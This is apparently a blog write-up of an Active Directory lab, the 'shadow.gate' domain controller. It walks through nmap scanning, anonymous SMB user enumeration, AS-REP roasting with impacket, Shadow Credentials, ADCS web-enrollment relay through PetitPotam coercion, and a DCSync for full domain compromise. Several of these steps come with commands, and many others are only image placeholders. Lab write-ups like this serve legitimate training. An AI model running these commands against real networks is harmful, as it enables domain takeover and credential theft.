Hey hackers!
Hope you’re all doing great and staying curious. Lately, I’ve been spending a lot of time diving into Active Directory. If you’re working in the corporate world, you know AD is basically the heart of the network which also makes it the biggest target.
I’ve been solving some labs to sharpen my skills, and I wanted to share a writeup of one I just finished. It was a great reminder of how a few small misconfigurations can lead to a total compromise.
Before jumping into the tools, I updated my /etc/hosts file. This ensures that when we call the Domain Controller or the domain itself, our system knows exactly where to route the traffic.
Open the file with sudo: sudo nano /etc/hosts
And add the following entry:
<machine-ip> shadow.gate DC01.shadow.gateOnce that’s saved, we can start interacting with the shadow.gate domain using its proper hostnames.
Now that we’ve got our hosts mapped, it’s time to see what’s actually running. I started with a standard Nmap scan to map out the attack surface of the Domain Controller.
nmap -sV 10.1.23.212 -sC -oN shadowgate-fullscan Nmap scan report for 10.1.23.212
Host is up (0.34s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-08 04:25:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Not valid before: 2026-01-15T01:10:24
|_Not valid after: 2027-01-15T01:10:24
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Not valid before: 2026-01-15T01:10:24
|_Not valid after: 2027-01-15T01:10:24
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Not valid before: 2026-01-15T01:10:24
|_Not valid after: 2027-01-15T01:10:24
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Not valid before: 2026-01-15T01:10:24
|_Not valid after: 2027-01-15T01:10:24
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-05-08T04:27:21+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: SHADOW
| NetBIOS_Domain_Name: SHADOW
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: shadow.gate
| DNS_Computer_Name: DC01.shadow.gate
| Product_Version: 10.0.20348
|_ System_Time: 2026-05-08T04:26:42+00:00
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Not valid before: 2026-01-11T02:45:29
|_Not valid after: 2026-07-13T02:45:29
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-08T04:26:42
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
With the ports open and the host mapped, I moved on to enum4linux and netexec. This tool is a classic for a reason and it’s great for pulling information out of SMB and RPC services when they aren’t locked down tightly.
enum4linux 10.1.23.212
nxc smb 10.1.23.212 -u '' -p '' --usersThe output was a goldmine. It managed to scrape a full list of users and groups from the domain. This is a huge win early on because it gives us half of the equation for a brute-force or a roasting attack.
Enumerated Users and Groups
Administrator
amoss
ATHENA
bbrown
clocke
Guest
jbradford
jsmith
jtrueblood
krbtgt
mbrownlee
tclarkeAdministrators
Users
Guests
Remote Desktop Users
Backup Operators
Print Operators
Server Operators
Account Operators
Remote Management Users
Hyper-V AdministratorsSaved the usernames into a file named wordlist.
The script successfully pulled a hash for jtrueblood. This means this account is vulnerable because it doesn't require pre-authentication.
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py shadow.gate/ \\
-dc-ip 10.1.23.212 \\
-no-pass \\
-usersfile wordlistPress enter or click to view image in full size
Press enter or click to view image in full size
Once I had a foothold and a set of credentials, it was time to see the “big picture.” In a complex environment like shadow.gate
Press enter or click to view image in full size
Press enter or click to view image in full size
The user jtrueblood had control over the bbrown account, allowing abuse through Shadow Credentials.
Press enter or click to view image in full size
Press enter or click to view image in full size
SMB Signing is a security feature in the SMB (Server Message Block) protocol that prevents the exact NTLM relay attacks. Think of it as a “digital signature” on every packet sent between a client and a server.
When SMB Signing is enabled and required, every message has a signature attached to it that is generated using the user’s session key. This allows both ends to verify that the data hasn’t been tampered with or intercepted by someone in the middle.
psexec) because the server doesn't check for a signature.Press enter or click to view image in full size
The CertEnroll share on the Domain Controller (shadow.gate) is accessible with READ ONLY permissions. This is a significant find for an Active Directory security test because it confirms the presence of Active Directory Certificate Services (ADCS).
The file DC01.shadow.gate_shadow-DC01-CA.crt is the Root CA Certificate.
DC01.The mere existence of this share tells us the environment uses ADCS for issuing certificates to users and machines. This opens the door to several “ESC” (Escalation) techniques.
.asp file in(nsrev_shadow-DC01-CA.asp). This suggests an enrollment web interface might be active. You could potentially relay NTLM authentication from a victim machine to this web interface to get a certificate for that victimPress enter or click to view image in full size
Press enter or click to view image in full size
We need to pause here and understand an important concepts, I also got after solving this machine. In a large corporate network, servers are constantly communicating. A Domain Controller needs to tell other servers about updates, and servers need to ask the DC for permission to do things.
Join Medium for free to get updates from this writer.
Windows uses a protocol called MS-RPC (Microsoft Remote Procedure Call) to handle these “requests.” Think of it like one computer calling another on the phone and asking it to perform a specific task.
When a Windows machine (like DC01) “calls” another machine to perform a task, it doesn’t just talk anonymously. It usually identifies itself using its Machine Account credentials (e.g., DC01$).
If you can trick the DC into “calling” your attack box instead of a legitimate server, the DC will automatically send its NTLM credentials to you to prove who it is.
“Coercing” is just a fancy word for forcing. Since you can’t just log into the DC and tell it to send you its password, you use a “trigger” (an exploit or a bug) to make the DC think it needs to talk to you.
Press enter or click to view image in full size
\\Your_Attack_IP\share\file. Please go there and check the encryption status."Once you have the DC “on the phone” (sending you its credentials), you don’t just keep them. You relay (forward) them to the ADCS Web Enrollment page you found
Press enter or click to view image in full size
python PetitPotam.py -u 'bbrown' -p 'redacted' <Attacker IP> 10.1.23.212Press enter or click to view image in full size
Using the certificate, I requested a Kerberos Ticket Granting Ticket (TGT) for the Domain Controller machine account (DC01$). Because AD trusts its own certificates for authentication (PKINIT), the DC couldn't say no.
Press enter or click to view image in full size
Once I was authenticated as the machine account, I had the high-level privileges needed to perform a DCSync attack. This allows an attacker to simulate the replication process between Domain Controllers and pull any password hash from the database.
Press enter or click to view image in full size